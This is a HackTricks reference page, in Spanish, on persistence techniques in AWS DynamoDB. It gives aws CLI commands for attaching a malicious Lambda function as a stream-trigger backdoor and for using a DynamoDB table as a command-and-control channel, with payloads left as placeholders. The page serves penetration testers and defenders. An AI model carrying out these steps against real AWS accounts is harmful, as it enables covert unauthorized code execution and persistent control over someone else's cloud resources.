AWS - DynamoDB Persistence

Apoya a HackTricks

DynamoDB

Para más información accede a:

Disparadores de DynamoDB con puerta trasera Lambda

Usando disparadores de DynamoDB, un atacante puede crear una puerta trasera sigilosa asociando una función Lambda maliciosa con una tabla. La función Lambda puede ser activada cuando se agrega, modifica o elimina un elemento, permitiendo al atacante ejecutar código arbitrario dentro de la cuenta de AWS.

# Create a malicious Lambda function
aws lambda create-function \
--function-name MaliciousFunction \
--runtime nodejs14.x \
--role <LAMBDA_ROLE_ARN> \
--handler index.handler \
--zip-file fileb://malicious_function.zip \
--region <region>

# Associate the Lambda function with the DynamoDB table as a trigger
aws dynamodbstreams describe-stream \
--table-name TargetTable \
--region <region>

# Note the "StreamArn" from the output
aws lambda create-event-source-mapping \
--function-name MaliciousFunction \
--event-source <STREAM_ARN> \
--region <region>

Para mantener la persistencia, el atacante puede crear o modificar elementos en la tabla de DynamoDB, lo que activará la función Lambda maliciosa. Esto permite al atacante ejecutar código dentro de la cuenta de AWS sin interacción directa con la función Lambda.

DynamoDB como un Canal C2

Un atacante puede usar una tabla de DynamoDB como un canal de comando y control (C2) creando elementos que contengan comandos y utilizando instancias comprometidas o funciones Lambda para recuperar y ejecutar estos comandos.

# Create a DynamoDB table for C2
aws dynamodb create-table \
--table-name C2Table \
--attribute-definitions AttributeName=CommandId,AttributeType=S \
--key-schema AttributeName=CommandId,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--region <region>

# Insert a command into the table
aws dynamodb put-item \
--table-name C2Table \
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
--region <region>

Las instancias comprometidas o funciones de Lambda pueden verificar periódicamente la tabla C2 en busca de nuevos comandos, ejecutarlos y, opcionalmente, informar los resultados de vuelta a la tabla. Esto permite al atacante mantener la persistencia y el control sobre los recursos comprometidos.

Support HackTricks

Last updated